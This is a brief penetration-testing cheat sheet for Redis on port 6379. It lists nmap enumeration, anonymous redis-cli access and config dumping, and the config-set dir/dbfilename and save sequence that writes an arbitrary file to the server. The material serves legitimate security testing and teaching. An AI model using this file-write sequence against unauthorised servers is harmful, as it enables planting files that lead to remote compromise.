TCP 6379: Redis

Redis is an in-memory data structure project implementing a distributed, in-memory key-value database with optional durability. Redis supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, HyperLogLogs, bitmaps, streams, and spatial indexes.

-- Wikipedia

General

6379 - Pentesting Redis - HackTricks

Enumeration

nmap --script redis-info -sV -p 6379 <ip>

Several times redis will be configured to be accessible anonymously.

redis-cli -h <ip>

info
config get *

Write file

Change dir

config set dir <dir>

Set file name

config set dbfilename <file>

Set file contents

cat <local-file> | redis-cli -h <ip> -x set crackit

Write

save